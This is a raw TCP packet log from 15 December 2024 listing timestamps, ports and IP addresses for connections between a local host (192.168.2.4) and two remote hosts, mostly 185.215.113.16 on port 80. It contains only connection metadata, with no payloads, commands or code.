Dec 15, 2024 11:59:51.008378983 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.008784056 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.008832932 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.008919001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.008968115 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.009907961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.009965897 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.010015965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.010155916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.010998964 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.011053085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.011126041 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.011190891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.012083054 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.012139082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.012226105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.012275934 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.013178110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.013231993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.013290882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.013403893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.014276981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.014342070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.014398098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.014445066 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.015405893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.015459061 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.015518904 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.015567064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.016521931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.016571999 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.016576052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.017229080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.017601967 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.017669916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.017724991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.018696070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.018752098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.018847942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.018898010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.019823074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.019881010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.019953966 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.020001888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.020899057 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.020956039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.021049023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.021624088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.022028923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.022083044 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.022129059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.022129059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.023102999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.023154020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.023227930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.023777962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.024182081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.024244070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.024280071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.024327040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.025319099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.025372982 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.025409937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.025456905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.026391983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.026443958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.026515961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.026566029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.027498007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.027645111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.027698994 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.028624058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.028754950 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.028810978 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.032313108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.032346964 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.032366037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.032485008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.032521009 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.032536983 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.032654047 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.032705069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.083776951 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:51.161545992 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:51.166892052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.166963100 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.167054892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.167411089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.167526007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.167579889 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.168503046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.168555975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.168622971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.169625998 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.169627905 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.169677973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.169698954 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.169749022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.170706987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.170758009 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.170834064 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.170883894 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.171819925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.171885014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.171960115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.172005892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.172941923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.172993898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.173083067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.173131943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.173614025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.173774958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.173830032 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.174695015 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.174818039 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.174873114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.175813913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.175867081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.175908089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.176906109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.176992893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.177025080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.177122116 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.178000927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.178116083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.178170919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.179124117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.179176092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.179234028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.180206060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.180262089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.180335999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.181318998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.181375980 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.181440115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.181623936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.182449102 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.182502031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.182562113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.183505058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.183644056 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.183702946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.184595108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.184755087 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.184808969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.185702085 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.185823917 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.185880899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.186815977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.186871052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.187012911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.187899113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.187932014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.187953949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.189008951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.189064026 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.189129114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.189178944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.190113068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.190211058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.190268993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.191200018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.191344023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.191401005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.192303896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.192354918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.192426920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.193475962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.193528891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.193561077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.193624020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.194511890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.194670916 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.194725037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.195585966 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.195714951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.195780039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.196744919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.196804047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.196897984 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.197624922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.197854996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.197907925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.197995901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.198045969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.198919058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.198976040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.199033976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.199086905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.200064898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.200119019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.200119972 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.200170040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.201092958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.201148987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.201203108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.201632023 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.202234983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.202290058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.202363014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.203336954 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.203393936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.203429937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.204391956 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.204453945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.204528093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.204576969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.205507994 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.205612898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.205624104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.205662966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.206609011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.206660986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.206748009 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.206795931 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.207698107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.207751036 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.207823992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.207871914 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.208862066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.208914995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.208928108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.209625006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.209920883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.209973097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.210103035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.210151911 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.211039066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.211088896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.211177111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.211287022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.212124109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.212228060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.212282896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.213195086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.213243961 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.213315964 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.213363886 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.214318037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.214378119 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.214421034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.215380907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.215439081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.215523958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.215789080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.216499090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.216562033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.216629982 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.216819048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.217583895 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.217670918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.217689991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.217746019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.218697071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.218748093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.218807936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.218859911 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.219804049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.219939947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.219940901 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.220285892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.220885038 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.220937967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.221010923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.221059084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.222007990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.222069979 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.222110033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.222177029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.223097086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.223161936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.223187923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.223242044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.224217892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.224287987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.281388998 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:51.342756987 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:51.359117031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.359268904 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.359354973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.359544992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.359782934 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.359836102 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.359888077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.359937906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.360893011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.361069918 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.361124039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.361995935 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.362121105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.362169981 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.363085032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.363137007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.363209963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.364207983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.364260912 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.364453077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.365317106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.365370035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.365792036 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.365981102 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.366033077 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.366889000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.366940975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.367002010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.367994070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.368057013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.368082047 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.369117022 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.369173050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.369195938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.369244099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.370193958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.370343924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.370392084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.371309996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.371408939 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.371463060 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.372442961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.372494936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.372498035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.373270988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.373483896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.373533964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.373610973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.373660088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.374588966 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.374639034 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.374711990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.374762058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.375726938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.375777960 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.375833988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.375881910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.376785040 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.376835108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.376907110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.376956940 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.377906084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.378092051 CET	80	49857	185.215.113.16	192.168.2.4
